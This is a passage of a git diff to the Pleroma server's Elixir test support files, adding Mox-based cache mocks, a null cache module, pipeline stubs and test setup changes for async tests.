	+ defdelegate del(cache, key), to: Cachex
	+
	+ @impl true
	+ defdelegate execute!(cache, func), to: Cachex
	+end
	diff --git a/test/support/channel_case.ex b/test/support/channel_case.ex
	index 114184a9f..f4696adb3 100644
	--- a/test/support/channel_case.ex
	+++ b/test/support/channel_case.ex
	@@ -1,42 +1,48 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ChannelCase do
	@moduledoc """
	This module defines the test case to be used by
	channel tests.

	Such tests rely on `Phoenix.ChannelTest` and also
	import other functionality to make it easier
	to build common datastructures and query the data layer.

	Finally, if the test case interacts with the database,
	it cannot be async. For this reason, every test runs
	inside a transaction which is reset at the beginning
	of the test unless the test case is marked as async.
	"""

	use ExUnit.CaseTemplate

	using do
	quote do
	# Import conveniences for testing with channels
	import Phoenix.ChannelTest
	use Pleroma.Tests.Helpers

	# The default endpoint for testing
	@endpoint Pleroma.Web.Endpoint
	end
	end

	setup tags do
	:ok = Ecto.Adapters.SQL.Sandbox.checkout(Pleroma.Repo)

	- unless tags[:async] do
	+ if tags[:async] do
	+ Mox.stub_with(Pleroma.CachexMock, Pleroma.NullCache)
	+ Mox.set_mox_private()
	+ else
	Ecto.Adapters.SQL.Sandbox.mode(Pleroma.Repo, {:shared, self()})
	+ Mox.stub_with(Pleroma.CachexMock, Pleroma.CachexProxy)
	+ Mox.set_mox_global()
	+ Pleroma.DataCase.clear_cachex()
	end

	:ok
	end
	end
	diff --git a/test/support/conn_case.ex b/test/support/conn_case.ex
	index 47cb65a80..02f49c590 100644
	--- a/test/support/conn_case.ex
	+++ b/test/support/conn_case.ex
	@@ -1,137 +1,143 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ConnCase do
	@moduledoc """
	This module defines the test case to be used by
	tests that require setting up a connection.

	Such tests rely on `Phoenix.ConnTest` and also
	import other functionality to make it easier
	to build common datastructures and query the data layer.

	Finally, if the test case interacts with the database,
	it cannot be async. For this reason, every test runs
	inside a transaction which is reset at the beginning
	of the test unless the test case is marked as async.
	"""

	use ExUnit.CaseTemplate

	using do
	quote do
	# Import conveniences for testing with connections
	import Plug.Conn
	import Phoenix.ConnTest
	use Pleroma.Tests.Helpers
	import Pleroma.Web.Router.Helpers

	alias Pleroma.Config

	# The default endpoint for testing
	@endpoint Pleroma.Web.Endpoint

	# Sets up OAuth access with specified scopes
	defp oauth_access(scopes, opts \\ []) do
	user =
	Keyword.get_lazy(opts, :user, fn ->
	Pleroma.Factory.insert(:user)
	end)

	token =
	Keyword.get_lazy(opts, :oauth_token, fn ->
	Pleroma.Factory.insert(:oauth_token, user: user, scopes: scopes)
	end)

	conn =
	build_conn()
	\|> assign(:user, user)
	\|> assign(:token, token)

	%{user: user, token: token, conn: conn}
	end

	defp request_content_type(%{conn: conn}) do
	conn = put_req_header(conn, "content-type", "multipart/form-data")
	[conn: conn]
	end

	defp empty_json_response(conn) do
	body = response(conn, 204)
	response_content_type(conn, :json)

	body
	end

	defp json_response_and_validate_schema(
	%{
	private: %{
	open_api_spex: %{operation_id: op_id, operation_lookup: lookup, spec: spec}
	}
	} = conn,
	status
	) do
	content_type =
	conn
	\|> Plug.Conn.get_resp_header("content-type")
	\|> List.first()
	\|> String.split(";")
	\|> List.first()

	status = Plug.Conn.Status.code(status)

	unless lookup[op_id].responses[status] do
	err = "Response schema not found for #{status} #{conn.method} #{conn.request_path}"
	flunk(err)
	end

	schema = lookup[op_id].responses[status].content[content_type].schema
	json = if status == 204, do: empty_json_response(conn), else: json_response(conn, status)

	case OpenApiSpex.cast_value(json, schema, spec) do
	{:ok, _data} ->
	json

	{:error, errors} ->
	errors =
	Enum.map(errors, fn error ->
	message = OpenApiSpex.Cast.Error.message(error)
	path = OpenApiSpex.Cast.Error.path_to_string(error)
	"#{message} at #{path}"
	end)

	flunk(
	"Response does not conform to schema of #{op_id} operation: #{
	Enum.join(errors, "\n")
	}\n#{inspect(json)}"
	)
	end
	end

	defp json_response_and_validate_schema(conn, _status) do
	flunk("Response schema not found for #{conn.method} #{conn.request_path} #{conn.status}")
	end
	end
	end

	setup tags do
	- Cachex.clear(:user_cache)
	- Cachex.clear(:object_cache)
	:ok = Ecto.Adapters.SQL.Sandbox.checkout(Pleroma.Repo)

	- unless tags[:async] do
	+ if tags[:async] do
	+ Mox.stub_with(Pleroma.CachexMock, Pleroma.NullCache)
	+ Mox.set_mox_private()
	+ else
	Ecto.Adapters.SQL.Sandbox.mode(Pleroma.Repo, {:shared, self()})
	+ Mox.stub_with(Pleroma.CachexMock, Pleroma.CachexProxy)
	+ Mox.set_mox_global()
	+ Pleroma.DataCase.clear_cachex()
	end

	if tags[:needs_streamer] do
	start_supervised(%{
	id: Pleroma.Web.Streamer.registry(),
	start:
	{Registry, :start_link, [[keys: :duplicate, name: Pleroma.Web.Streamer.registry()]]}
	})
	end

	+ Pleroma.DataCase.stub_pipeline()
	+
	{:ok, conn: Phoenix.ConnTest.build_conn()}
	end
	end
	diff --git a/test/support/data_case.ex b/test/support/data_case.ex
	index d5456521c..5c657c1d9 100644
	--- a/test/support/data_case.ex
	+++ b/test/support/data_case.ex
	@@ -1,99 +1,136 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.DataCase do
	@moduledoc """
	This module defines the setup for tests requiring
	access to the application's data layer.

	You may define functions here to be used as helpers in
	your tests.

	Finally, if the test case interacts with the database,
	it cannot be async. For this reason, every test runs
	inside a transaction which is reset at the beginning
	of the test unless the test case is marked as async.
	"""

	use ExUnit.CaseTemplate

	using do
	quote do
	alias Pleroma.Repo

	import Ecto
	import Ecto.Changeset
	import Ecto.Query
	import Pleroma.DataCase
	use Pleroma.Tests.Helpers

	# Sets up OAuth access with specified scopes
	defp oauth_access(scopes, opts \\ []) do
	user =
	Keyword.get_lazy(opts, :user, fn ->
	Pleroma.Factory.insert(:user)
	end)

	token =
	Keyword.get_lazy(opts, :oauth_token, fn ->
	Pleroma.Factory.insert(:oauth_token, user: user, scopes: scopes)
	end)

	%{user: user, token: token}
	end
	end
	end

	+ def clear_cachex do
	+ Pleroma.Supervisor
	+ \|> Supervisor.which_children()
	+ \|> Enum.each(fn
	+ {name, _, _, [Cachex]} ->
	+ name
	+ \|> to_string
	+ \|> String.trim_leading("cachex_")
	+ \|> Kernel.<>("_cache")
	+ \|> String.to_existing_atom()
	+ \|> Cachex.clear()
	+
	+ _ ->
	+ nil
	+ end)
	+ end
	+
	setup tags do
	- Cachex.clear(:user_cache)
	- Cachex.clear(:object_cache)
	:ok = Ecto.Adapters.SQL.Sandbox.checkout(Pleroma.Repo)

	- unless tags[:async] do
	+ if tags[:async] do
	+ Mox.stub_with(Pleroma.CachexMock, Pleroma.NullCache)
	+ Mox.set_mox_private()
	+ else
	Ecto.Adapters.SQL.Sandbox.mode(Pleroma.Repo, {:shared, self()})
	+ Mox.stub_with(Pleroma.CachexMock, Pleroma.CachexProxy)
	+ Mox.set_mox_global()
	+ clear_cachex()
	end

	if tags[:needs_streamer] do
	start_supervised(%{
	id: Pleroma.Web.Streamer.registry(),
	start:
	{Registry, :start_link, [[keys: :duplicate, name: Pleroma.Web.Streamer.registry()]]}
	})
	end

	+ stub_pipeline()
	+
	:ok
	end

	+ def stub_pipeline do
	+ Mox.stub_with(Pleroma.Web.ActivityPub.SideEffectsMock, Pleroma.Web.ActivityPub.SideEffects)
	+
	+ Mox.stub_with(
	+ Pleroma.Web.ActivityPub.ObjectValidatorMock,
	+ Pleroma.Web.ActivityPub.ObjectValidator
	+ )
	+
	+ Mox.stub_with(Pleroma.Web.ActivityPub.MRFMock, Pleroma.Web.ActivityPub.MRF)
	+ Mox.stub_with(Pleroma.Web.ActivityPub.ActivityPubMock, Pleroma.Web.ActivityPub.ActivityPub)
	+ Mox.stub_with(Pleroma.Web.FederatorMock, Pleroma.Web.Federator)
	+ Mox.stub_with(Pleroma.ConfigMock, Pleroma.Config)
	+ end
	+
	def ensure_local_uploader(context) do
	test_uploader = Map.get(context, :uploader, Pleroma.Uploaders.Local)
	uploader = Pleroma.Config.get([Pleroma.Upload, :uploader])
	filters = Pleroma.Config.get([Pleroma.Upload, :filters])

	Pleroma.Config.put([Pleroma.Upload, :uploader], test_uploader)
	Pleroma.Config.put([Pleroma.Upload, :filters], [])

	on_exit(fn ->
	Pleroma.Config.put([Pleroma.Upload, :uploader], uploader)
	Pleroma.Config.put([Pleroma.Upload, :filters], filters)
	end)

	:ok
	end

	@doc """
	A helper that transform changeset errors to a map of messages.

	changeset = Accounts.create_user(%{password: "short"})
	assert "password is too short" in errors_on(changeset).password
	assert %{password: ["password is too short"]} = errors_on(changeset)

	"""
	def errors_on(changeset) do
	Ecto.Changeset.traverse_errors(changeset, fn {message, opts} ->
	Enum.reduce(opts, message, fn {key, value}, acc ->
	String.replace(acc, "%{#{key}}", to_string(value))
	end)
	end)
	end
	end
	diff --git a/test/support/helpers.ex b/test/support/helpers.ex
	index 224034521..15e8cbd9d 100644
	--- a/test/support/helpers.ex
	+++ b/test/support/helpers.ex
	@@ -1,119 +1,127 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Tests.Helpers do
	@moduledoc """
	Helpers for use in tests.
	"""
	alias Pleroma.Config

	defmacro clear_config(config_path) do
	quote do
	clear_config(unquote(config_path)) do
	end
	end
	end

	defmacro clear_config(config_path, do: yield) do
	quote do
	initial_setting = Config.fetch(unquote(config_path))
	unquote(yield)

	on_exit(fn ->
	case initial_setting do
	:error ->
	Config.delete(unquote(config_path))

	{:ok, value} ->
	Config.put(unquote(config_path), value)
	end
	end)

	:ok
	end
	end

	defmacro clear_config(config_path, temp_setting) do
	quote do
	clear_config(unquote(config_path)) do
	Config.put(unquote(config_path), unquote(temp_setting))
	end
	end
	end

	def require_migration(migration_name) do
	[{module, _}] = Code.require_file("#{migration_name}.exs", "priv/repo/migrations")
	{:ok, %{migration: module}}
	end

	defmacro __using__(_opts) do
	quote do
	import Pleroma.Tests.Helpers,
	only: [
	clear_config: 1,
	clear_config: 2
	]

	+ def time_travel(entity, seconds) do
	+ new_time = NaiveDateTime.add(entity.inserted_at, seconds)
	+
	+ entity
	+ \|> Ecto.Changeset.change(%{inserted_at: new_time, updated_at: new_time})
	+ \|> Pleroma.Repo.update()
	+ end
	+
	def to_datetime(%NaiveDateTime{} = naive_datetime) do
	naive_datetime
	\|> DateTime.from_naive!("Etc/UTC")
	\|> DateTime.truncate(:second)
	end

	def to_datetime(datetime) when is_binary(datetime) do
	datetime
	\|> NaiveDateTime.from_iso8601!()
	\|> to_datetime()
	end

	def collect_ids(collection) do
	collection
	\|> Enum.map(& &1.id)
	\|> Enum.sort()
	end

	def refresh_record(%{id: id, __struct__: model} = _),
	do: refresh_record(model, %{id: id})

	def refresh_record(model, %{id: id} = _) do
	Pleroma.Repo.get_by(model, id: id)
	end

	# Used for comparing json rendering during tests.
	def render_json(view, template, assigns) do
	assigns = Map.new(assigns)

	view.render(template, assigns)
	\|> Jason.encode!()
	\|> Jason.decode!()
	end

	def stringify_keys(nil), do: nil

	def stringify_keys(key) when key in [true, false], do: key
	def stringify_keys(key) when is_atom(key), do: Atom.to_string(key)

	def stringify_keys(map) when is_map(map) do
	map
	\|> Enum.map(fn {k, v} -> {stringify_keys(k), stringify_keys(v)} end)
	\|> Enum.into(%{})
	end

	def stringify_keys([head \| rest] = list) when is_list(list) do
	[stringify_keys(head) \| stringify_keys(rest)]
	end

	def stringify_keys(key), do: key

	defmacro guards_config(config_path) do
	quote do
	initial_setting = Config.get(config_path)

	Config.put(config_path, true)
	on_exit(fn -> Config.put(config_path, initial_setting) end)
	end
	end
	end
	end
	end
	diff --git a/test/support/mocks.ex b/test/support/mocks.ex
	new file mode 100644
	index 000000000..a600a6458
	--- /dev/null
	+++ b/test/support/mocks.ex
	@@ -0,0 +1,25 @@
	+# Pleroma: A lightweight social networking server
	+# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	+# SPDX-License-Identifier: AGPL-3.0-only
	+
	+Mox.defmock(Pleroma.CachexMock, for: Pleroma.Caching)
	+
	+Mox.defmock(Pleroma.Web.ActivityPub.ObjectValidatorMock,
	+ for: Pleroma.Web.ActivityPub.ObjectValidator.Validating
	+)
	+
	+Mox.defmock(Pleroma.Web.ActivityPub.MRFMock,
	+ for: Pleroma.Web.ActivityPub.MRF.PipelineFiltering
	+)
	+
	+Mox.defmock(Pleroma.Web.ActivityPub.ActivityPubMock,
	+ for: Pleroma.Web.ActivityPub.ActivityPub.Persisting
	+)
	+
	+Mox.defmock(Pleroma.Web.ActivityPub.SideEffectsMock,
	+ for: Pleroma.Web.ActivityPub.SideEffects.Handling
	+)
	+
	+Mox.defmock(Pleroma.Web.FederatorMock, for: Pleroma.Web.Federator.Publishing)
	+
	+Mox.defmock(Pleroma.ConfigMock, for: Pleroma.Config.Getting)
	diff --git a/test/support/null_cache.ex b/test/support/null_cache.ex
	new file mode 100644
	index 000000000..c63df6a39
	--- /dev/null
	+++ b/test/support/null_cache.ex
	@@ -0,0 +1,49 @@
	+# Pleroma: A lightweight social networking server
	+# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	+# SPDX-License-Identifier: AGPL-3.0-only
	+
	+defmodule Pleroma.NullCache do
	+ @moduledoc """
	+ A module simulating a permanently empty cache.
	+ """
	+ @behaviour Pleroma.Caching
	+
	+ @impl true
	+ def get!(_, _), do: nil
	+
	+ @impl true
	+ def put(_, _, _, _ \\ nil), do: {:ok, true}
	+
	+ @impl true
	+ def stream!(_, _), do: []
	+
	+ @impl true
	+ def get(_, _), do: {:ok, nil}
	+
	+ @impl true
	+ def fetch!(_, key, func) do
	+ case func.(key) do
	+ {_, res} -> res
	+ res -> res
	+ end
	+ end
	+
	+ @impl true
	+ def get_and_update(_, _, func) do
	+ func.(nil)
	+ end
	+
	+ @impl true
	+ def expire_at(_, _, _), do: {:ok, true}
	+
	+ @impl true
	+ def exists?(_, _), do: {:ok, false}
	+
	+ @impl true
	+ def execute!(_, func) do
	+ func.(:nothing)
	+ end
	+
	+ @impl true
	+ def del(_, _), do: {:ok, true}
	+end

File Metadata

Mime Type: text/x-diff
Expires: Sun, Nov 1, 3:34 AM (18 h, 14 m)
Storage Engine: blob
Storage Format: Raw Data
Storage Handle: 1802349
Default Alt Text: (1 MB)

No OneTemporaryActions

View Options

File Metadata

Event Timeline

No OneTemporary
Actions